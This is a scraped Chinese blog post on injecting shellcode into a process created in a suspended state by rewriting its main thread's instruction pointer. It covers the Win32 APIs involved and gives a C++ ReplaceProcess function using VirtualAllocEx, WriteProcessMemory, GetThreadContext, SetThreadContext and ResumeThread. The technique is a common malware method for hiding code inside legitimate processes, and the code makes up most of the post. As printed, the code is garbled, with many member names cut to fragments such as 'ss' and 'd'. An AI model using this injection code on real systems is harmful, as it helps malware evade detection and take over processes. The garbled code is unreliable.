2023年8月1日发(作者:)
C++强制让⽬标进程执⾏⾃⼰的ShellCode函数介绍GetThreadContext//
如果函数成功,则返回值不为零。 BOOL WINAPI GetThreadContext( _In_ HANDLE hThread, //
要检索其上下⽂的线程的句柄。 _Inout_ LPCONTEXT lpContext //
指向 CONTEXT
结构的指针。 );SetThreadContext//
如果设置了上下⽂,则返回值为⾮零。 BOOL WINAPI SetThreadContext( _In_ HANDLE hThread, //
线程的句柄,其上下⽂将被设置。 _In_ const CONTEXT *lpContext //
指向包含要在指定线程中设置的上下⽂的CONTEXT结构的指针。 );
ResumeThread//
如果函数成功,则返回值是线程先前的挂起计数。 DWORD WINAPI ResumeThread( _In_ HANDLE hThread //
要重新启动的线程的句柄。 );实现原理⾸先,使⽤ CreateProcess 函数创建进程,并且设置创建进程的标志为 CREATE_SUSPENDED,即表⽰新进程的主线程被挂起。然后,使⽤ VirtualAllocEx 函数在新进程中申请⼀块可读、可写、可执⾏的内存,并使⽤ WriteProcessMemory 函数写⼊Shellcode 数据。接着,使⽤ GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下⽂。并修改线程上下⽂的指令指针 EIP 的值,更改主线程的执⾏顺序。再将修改过的线程上下⽂设置回主线程中。最后,我们调⽤ ResumeThread 恢复主线程,让进程按照修改后的 EIP 继续运⾏,执⾏我们的 Shellcode 代码。其中,当使⽤ CreateProcess 创建进程时,创建标志为 CREATE_SUSPENDED,则表⽰新进程的主线程被创建为挂起状态,直到使⽤ResumeThread 函数恢复主线程,进程才会继续运⾏。其中,要注意的是,在使⽤ GetThreadContext 获取线程上下⽂的时候,⼀定要对 CONTEXT 机构中的 ContextFlags 成员赋值,表⽰指明要检索线程的上下⽂的哪些部分,否则会导致程序实现不到想要的效果。我们可以指明 CONTEXT_FULL,表⽰获取所有的线程上下⽂信息。编码实现 //
创建进程并替换进程内存数据,
更改执⾏顺序 BOOL ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset) { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONTEXT threadContext = { 0 }; BOOL bRet = FALSE; ::RtlZeroMemory(&si, sizeof(si)); ::RtlZeroMemory(&pi, sizeof(pi)); ::RtlZeroMemory(&threadContext, sizeof(threadContext)); = sizeof(si); //
创建进程并挂起主线程 bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); if (FALSE == bRet) { ShowError("CreateProcess"); return FALSE; } //
在替换的进程中申请⼀块内存 LPVOID lpDestBaseAddr = ::VirtualAllocEx(ss, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (NULL == lpDestBaseAddr) { ShowError("VirtualAllocEx"); return FALSE; } //
写⼊替换的数据 bRet = ::WriteProcessMemory(ss, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL); if (FALSE == bRet) { ShowError("WriteProcessError"); return FALSE; } //
获取线程上下⽂ //
注意此处标志,⼀定要写 tFlags = CONTEXT_FULL; bRet = ::GetThreadContext(d, &threadContext); if (FALSE == bRet) { ShowError("GetThreadContext"); return FALSE; } //
修改进程的PE⽂件的⼊⼝地址以及映像⼤⼩,先获取原来进程PE结构的加载基址 = (DWORD)lpDestBaseAddr + dwRunOffset; //
设置挂起进程的线程上下⽂ bRet = ::SetThreadContext(d, &threadContext); if (FALSE == bRet) { ShowError("SetThreadContext"); return FALSE; } //
恢复挂起的进程的线程 ::ResumeThread(d); return TRUE; }效果图:
发布者:admin,转转请注明出处:http://www.yc00.com/news/1690873923a452177.html
评论列表(0条)